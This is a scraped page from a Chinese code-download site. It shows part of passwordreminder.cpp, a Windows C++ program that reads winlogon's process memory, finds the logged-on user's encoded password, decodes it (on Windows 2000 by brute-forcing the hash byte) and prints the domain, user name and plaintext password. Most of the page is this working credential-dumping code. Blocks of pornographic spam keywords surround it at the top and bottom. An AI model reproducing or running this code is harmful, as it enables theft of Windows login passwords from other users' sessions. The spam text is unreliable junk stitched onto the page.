亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? passwordreminder.cpp

?? PasswordReminder希望能通過 急需貴站的資源做題目
?? CPP
?? 第 1 頁 / 共 2 頁
字號:
					for (i = 0; i < Count; i++)
					{
						dw += sizeof (PROCESS_INFO);
						ProcessInfoP = (PPROCESS_INFO) dw;
						if (strstr (_strupr (ProcessInfoP->Name), "NWGINA") != 0)
							return (0);
						if (strstr (_strupr (ProcessInfoP->Name), "MSGINA") == 0)
							rc = 
								QuerySystemInformationP->PID;
					}
					if (DebugBufferP)
						pfnRtlDestroyQueryDebugBuffer 
							(DebugBufferP);
					HeapFree 
						(GetProcessHeap (),
						0,
						InfoP);
					return (rc);
				}
			}
			if (DebugBufferP)
				pfnRtlDestroyQueryDebugBuffer 
					(DebugBufferP);
		}
		DWORD dw = (DWORD) QuerySystemInformationP;
		dw += sizeof (QUERY_SYSTEM_INFORMATION);
		QuerySystemInformationP = (PQUERY_SYSTEM_INFORMATION) dw;
	}
	HeapFree 
		(GetProcessHeap (),
		0,
		InfoP);
	return (rc);
} // FindWinLogon

BOOL 
	LocatePasswordPageWinNT 
		(DWORD WinLogonPID, 
		PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WINNT	0x200
#define USER_PASSWORD_OFFSET_WINNT	0x400
	BOOL rc = FALSE;
	HANDLE WinLogonHandle =
		OpenProcess 
			(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
			FALSE, 
			WinLogonPID);
	if (WinLogonHandle == 0)
		return (rc);
	*PasswordLength = 0;
	SYSTEM_INFO SystemInfo;
	GetSystemInfo 
		(&SystemInfo);
	DWORD PEB = 0x7ffdf000; 
	DWORD BytesCopied = 0;
	PVOID PEBP = 
		HeapAlloc
			(GetProcessHeap (),
			HEAP_ZERO_MEMORY,
			SystemInfo.dwPageSize);
	if (!ReadProcessMemory
			(WinLogonHandle,
			(PVOID) PEB,
			PEBP,
			SystemInfo.dwPageSize,
			&BytesCopied))
	{
		CloseHandle 
			(WinLogonHandle);
		return (rc);
	}
	// Grab the value of the 2nd DWORD in the TEB.
	PDWORD WinLogonHeap = (PDWORD) ((DWORD) PEBP + (6 * sizeof (DWORD)));
	MEMORY_BASIC_INFORMATION MemoryBasicInformation;
	if (VirtualQueryEx
			(WinLogonHandle,
			(PVOID) *WinLogonHeap,
			&MemoryBasicInformation,
			sizeof (MEMORY_BASIC_INFORMATION)))
		if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
				&&
			((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
		{
			PVOID WinLogonMemP = 
				HeapAlloc
					(GetProcessHeap (),
					HEAP_ZERO_MEMORY,
					MemoryBasicInformation.RegionSize);
			if (ReadProcessMemory
					(WinLogonHandle,
					(PVOID) *WinLogonHeap,
					WinLogonMemP,
					MemoryBasicInformation.RegionSize,
					&BytesCopied))
			{
				DWORD i = (DWORD) WinLogonMemP;
				DWORD UserNamePos = 0;
				// The order in memory is UserName followed by the UserDomain.
				do
				{
					if ((wcscmp (UserName, (wchar_t *) i) == 0)
							&&
						(wcscmp (UserDomain, (wchar_t *) (i + USER_DOMAIN_OFFSET_WINNT)) == 0))
					{
						UserNamePos = i;
						break;
					}
					i += 2;
				} while (i < (DWORD) WinLogonMemP + MemoryBasicInformation.RegionSize);
				if (UserNamePos)
				{
					PENCODED_PASSWORD_INFO EncodedPasswordInfoP =
						(PENCODED_PASSWORD_INFO) 
							((DWORD) UserNamePos + USER_PASSWORD_OFFSET_WINNT);
					FILETIME LocalFileTime;
					SYSTEMTIME SystemTime;
					if (FileTimeToLocalFileTime
						(&EncodedPasswordInfoP->LoggedOn,
						&LocalFileTime))
						if (FileTimeToSystemTime
							(&LocalFileTime,
							&SystemTime))
							printf 
								("You logged on at %d/%d/%d %d:%d:%d\n",
								SystemTime.wMonth,
								SystemTime.wDay,
								SystemTime.wYear,
								SystemTime.wHour,
								SystemTime.wMinute,
								SystemTime.wSecond);
					*PasswordLength = 
						(EncodedPasswordInfoP->EncodedPassword.Length & 0x00ff) / sizeof (wchar_t);
					HashByte = 
						(EncodedPasswordInfoP->EncodedPassword.Length & 0xff00) >> 8;
					RealPasswordP = 
						(PVOID) (*WinLogonHeap + 
							(UserNamePos - (DWORD) WinLogonMemP) + 
							USER_PASSWORD_OFFSET_WINNT + 0x34);
					PasswordP = 
						(PVOID) ((PBYTE) (UserNamePos +  
							USER_PASSWORD_OFFSET_WINNT + 0x34));
					rc = TRUE;
				}
			}
		}

	HeapFree
		(GetProcessHeap (),
		0,
		PEBP);
	CloseHandle 
		(WinLogonHandle);
	return (rc);
} // LocatePasswordPageWinNT

BOOL 
	LocatePasswordPageWin2K 
		(DWORD WinLogonPID, 
		PDWORD PasswordLength)
{
#define USER_DOMAIN_OFFSET_WIN2K	0x400
#define USER_PASSWORD_OFFSET_WIN2K	0x800
	HANDLE WinLogonHandle =
		OpenProcess 
			(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 
			FALSE, 
			WinLogonPID);
	if (WinLogonHandle == 0)
		return (FALSE);
	*PasswordLength = 0;
	SYSTEM_INFO SystemInfo;
	GetSystemInfo 
		(&SystemInfo);
	DWORD i = (DWORD) SystemInfo.lpMinimumApplicationAddress;
	DWORD MaxMemory = (DWORD) SystemInfo.lpMaximumApplicationAddress;
	DWORD Increment = SystemInfo.dwPageSize;
	MEMORY_BASIC_INFORMATION MemoryBasicInformation;
	while (i < MaxMemory)
	{
		if (VirtualQueryEx
				(WinLogonHandle,
				(PVOID) i,
				&MemoryBasicInformation,
				sizeof (MEMORY_BASIC_INFORMATION)))
		{
			Increment = MemoryBasicInformation.RegionSize;
			if (((MemoryBasicInformation.State & MEM_COMMIT) == MEM_COMMIT)
					&&
				((MemoryBasicInformation.Protect & PAGE_GUARD) == 0))
			{
				PVOID RealStartingAddressP =
					HeapAlloc 
						(GetProcessHeap (),
						HEAP_ZERO_MEMORY,
						MemoryBasicInformation.RegionSize);
				DWORD BytesCopied = 0;
				if (ReadProcessMemory
						(WinLogonHandle,
						(PVOID) i,
						RealStartingAddressP,
						MemoryBasicInformation.RegionSize,
						&BytesCopied))
				{
					if ((wcscmp ((wchar_t *) RealStartingAddressP, UserName) == 0)
							&&
						(wcscmp ((wchar_t *) ((DWORD) RealStartingAddressP + USER_DOMAIN_OFFSET_WIN2K), UserDomain) == 0))
					{
						RealPasswordP = (PVOID) (i + USER_PASSWORD_OFFSET_WIN2K);
						PasswordP = (PVOID) ((DWORD) RealStartingAddressP + USER_PASSWORD_OFFSET_WIN2K);
						// Calculate the length of encoded unicode string.
						PBYTE p = (PBYTE) PasswordP;
						DWORD Loc = (DWORD) p;
						DWORD Len = 0;
						if ((*p == 0)
								&&
							(* (PBYTE) ((DWORD) p + 1) == 0))
							;
						else
							do
							{
								Len++;
								Loc += 2;
								p = (PBYTE) Loc;
							} while 
								(*p != 0);
						*PasswordLength = Len;
						CloseHandle 
							(WinLogonHandle);
						return (TRUE);
					}
				}
				HeapFree 
					(GetProcessHeap (),
					0,
					RealStartingAddressP);
			}
		}
		else
			Increment = SystemInfo.dwPageSize;
		// Move to next memory block.
		i += Increment;
	}
	CloseHandle 
		(WinLogonHandle);
	return (FALSE);
} // LocatePasswordPageWin2K

void 
	DisplayPasswordWinNT 
		(void)
{
	UNICODE_STRING EncodedString;
	EncodedString.Length = 
		(WORD) PasswordLength * sizeof (wchar_t);
	EncodedString.MaximumLength = 
		((WORD) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
	EncodedString.Buffer = 
		(PWSTR) HeapAlloc
			(GetProcessHeap (),
			HEAP_ZERO_MEMORY,
			EncodedString.MaximumLength);
	CopyMemory 
		(EncodedString.Buffer, 
		PasswordP, 
		PasswordLength * sizeof (wchar_t));
	// Finally - decode the password.
	// Note that only one call is required since the hash-byte
	// was part of the orginally encoded string.
	pfnRtlRunDecodeUnicodeString 
		((BYTE) HashByte, 
		&EncodedString);
	printf 
		("The logon information is: %S/%S/%S.\n", 
		UserDomain, 
		UserName, 
		EncodedString.Buffer);
	printf 
		("The hash byte is: 0x%2.2x.\n", 
		HashByte);
	HeapFree
		(GetProcessHeap (),
		0,
		EncodedString.Buffer);
} // DisplayPasswordWinNT

void 
	DisplayPasswordWin2K 
		(void)
{
	DWORD i, Hash = 0;
	UNICODE_STRING EncodedString;
	EncodedString.Length = 
		(USHORT) PasswordLength * sizeof (wchar_t);
	EncodedString.MaximumLength = 
		((USHORT) PasswordLength * sizeof (wchar_t)) + sizeof (wchar_t);
	EncodedString.Buffer =
		(PWSTR) HeapAlloc 
			(GetProcessHeap (),
			HEAP_ZERO_MEMORY,
			EncodedString.MaximumLength);
	// This is a brute force technique since the hash-byte
	// is not stored as part of the encoded string - :>(.
	for (i = 0; i <= 0xff; i++)
	{
		CopyMemory 
			(EncodedString.Buffer, 
			PasswordP, 
			PasswordLength * sizeof (wchar_t));
		// Finally - try to decode the password.
		pfnRtlRunDecodeUnicodeString 
			((BYTE) i, 
			&EncodedString);
		// Check for a viewable password.
		PBYTE p = (PBYTE) EncodedString.Buffer;
		BOOL Viewable = TRUE;
		DWORD j, k;
		for (j = 0; (j < PasswordLength) && Viewable; j++)
		{
			if ((*p)
					&&
				(* (PBYTE)(DWORD (p) + 1) == 0))
			{
				if (*p < 0x20)
					Viewable = FALSE;
				if (*p > 0x7e)
					Viewable = FALSE;
			}
			else
				Viewable = FALSE;
			k = DWORD (p);
			k++; k++;
			p = (PBYTE) k;
		}
		if (Viewable)
		{
			printf 
				("The logon information is: %S/%S/%S.\n", 
				UserDomain, 
				UserName, 
				EncodedString.Buffer);
			printf 
				("The hash byte is: 0x%2.2x.\n", 
				i);
		}
	}
	HeapFree 
		(GetProcessHeap (),
		0,
		EncodedString.Buffer);
} // DisplayPasswordWin2K

// end PasswordReminder.cpp

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
久久丝袜美腿综合| 国产精品乱人伦中文| 欧美一区二区大片| 欧美成人猛片aaaaaaa| 日韩欧美成人一区二区| 精品久久国产老人久久综合| 欧美高清dvd| 精品福利二区三区| 亚洲精品一区二区三区蜜桃下载| 国产乱人伦偷精品视频免下载| 麻豆精品视频在线| 91免费观看国产| 欧美日韩久久一区| 色狠狠色噜噜噜综合网| 91精品国产麻豆国产自产在线 | 99免费精品视频| 91黄视频在线观看| 欧美日韩aaa| 精品久久久久久最新网址| 亚洲最大成人综合| 国产乱子伦视频一区二区三区 | 99re热视频精品| 国产亚洲欧洲997久久综合| 一区二区三区自拍| 北条麻妃一区二区三区| 精品区一区二区| 日韩不卡在线观看日韩不卡视频| 成人免费黄色在线| 精品国产乱子伦一区| 亚洲一二三区视频在线观看| 狠狠网亚洲精品| 日韩视频在线永久播放| 香蕉加勒比综合久久| 91美女片黄在线观看91美女| 国产亚洲精品bt天堂精选| 三级久久三级久久| 91精品国产综合久久福利软件| 亚洲福利视频三区| 色哟哟欧美精品| 亚洲女厕所小便bbb| 色综合久久天天综合网| 亚洲精品视频一区| 在线这里只有精品| 麻豆成人91精品二区三区| k8久久久一区二区三区| 中文字幕一区二区三| 不卡av在线免费观看| 亚洲国产精品二十页| 国产在线精品一区二区不卡了| av在线不卡免费看| 国产天堂亚洲国产碰碰| 国产成人精品免费网站| 一区二区三区av电影| 欧美成人女星排行榜| 色婷婷久久一区二区三区麻豆| 亚洲第一福利一区| 欧美激情资源网| 欧美日韩一区二区不卡| 国内精品国产成人| 亚洲一区二三区| 国产午夜精品久久久久久久 | 国产精品私房写真福利视频| 在线视频中文字幕一区二区| 久久丁香综合五月国产三级网站| 亚洲国产精品传媒在线观看| 日韩免费视频一区二区| 国产91富婆露脸刺激对白| 视频在线观看一区二区三区| 国产精品黄色在线观看| 久久亚洲捆绑美女| 91女神在线视频| 色综合一区二区三区| 国产精品一区免费视频| 国产福利一区二区三区视频| 日韩国产精品大片| 国产精品亚洲综合一区在线观看| 日韩精品91亚洲二区在线观看 | 欧美在线一二三| 欧美日韩在线综合| 99麻豆久久久国产精品免费优播| 亚洲成精国产精品女| 免费的国产精品| 国产精品一区一区| 99久久婷婷国产综合精品电影 | 欧美在线一二三| 91精品国产一区二区人妖| 久久久亚洲精华液精华液精华液| 国产欧美一区二区精品性| 国产精品久久久久久久久图文区| 久久精品一二三| 亚洲伊人色欲综合网| 美腿丝袜亚洲三区| 国产成人精品免费在线| 99精品欧美一区二区蜜桃免费| 在线电影国产精品| ㊣最新国产の精品bt伙计久久| 亚洲欧美电影一区二区| 亚洲黄色小说网站| 国产成人亚洲综合a∨婷婷图片| 欧美午夜电影网| 91精品国产一区二区三区| 一区二区三区四区中文字幕| 国产综合色精品一区二区三区| 欧美三级电影在线看| 中文字幕中文字幕一区二区| 视频一区欧美日韩| 色哟哟在线观看一区二区三区| 欧美一级黄色大片| 五月天激情综合网| 一本久久精品一区二区| 亚洲欧美日韩国产综合在线| 国产精品国产三级国产普通话三级| 香蕉影视欧美成人| 欧美色图在线观看| 亚洲欧美一区二区三区久本道91| 成人国产在线观看| 亚洲欧美电影一区二区| 欧美天堂一区二区三区| 日韩精品免费视频人成| 精品88久久久久88久久久| 日一区二区三区| 久久精品亚洲精品国产欧美kt∨| 国产精品91xxx| 依依成人精品视频| 日韩三级免费观看| 丁香六月综合激情| 国产精品免费人成网站| 成人综合在线观看| 国产精品国产三级国产普通话蜜臀| 久久99国产精品尤物| 国产欧美日韩另类一区| 粉嫩蜜臀av国产精品网站| 亚洲精品日日夜夜| 精品欧美一区二区久久| 91麻豆视频网站| 国产剧情一区二区三区| 亚洲电影激情视频网站| 久久久亚洲精品石原莉奈| 色先锋久久av资源部| 国产激情一区二区三区桃花岛亚洲| 亚洲精品国产视频| 国产丝袜美腿一区二区三区| 欧美二区三区的天堂| 欧美性色综合网| 欧美日本一区二区三区| 91麻豆文化传媒在线观看| 成人一二三区视频| 国产成人亚洲综合a∨猫咪| 麻豆国产精品一区二区三区| 污片在线观看一区二区| 国产视频不卡一区| 中文字幕精品—区二区四季| 久久这里只有精品首页| 欧美一区二区三区免费| 精品女同一区二区| 国产视频亚洲色图| 日韩一区有码在线| 一区二区三区中文字幕精品精品| 亚洲精品国产a久久久久久| 亚洲人成人一区二区在线观看| 亚洲视频免费观看| 亚洲成av人在线观看| 亚洲成av人片一区二区梦乃| 亚洲一区二区三区激情| 日本午夜精品视频在线观看 | 国产色综合久久| 亚洲精品视频在线看| 日韩精品电影一区亚洲| 国产一区二区三区最好精华液| 国产精品一区二区久久不卡| 色婷婷狠狠综合| 日韩精品综合一本久道在线视频| 精品剧情在线观看| 精品99一区二区| 一区二区三区不卡在线观看 | 免费一级片91| 亚洲色图20p| 国产精品久久三| 本田岬高潮一区二区三区| 国产三级精品视频| 风间由美一区二区三区在线观看| 91精品在线麻豆| 青青国产91久久久久久| 欧美伊人久久久久久午夜久久久久| 亚洲美女精品一区| 欧美综合一区二区| 婷婷国产v国产偷v亚洲高清| 69精品人人人人| 国产麻豆精品theporn| 国产精品久久久久久一区二区三区 | 欧美三级日本三级少妇99| 日本在线不卡一区| 国产午夜三级一区二区三| 成人国产精品免费观看动漫| 亚洲久本草在线中文字幕| 91视频国产资源| 国产成人aaa| 日韩av电影天堂| 中文字幕+乱码+中文字幕一区| 色综合激情五月|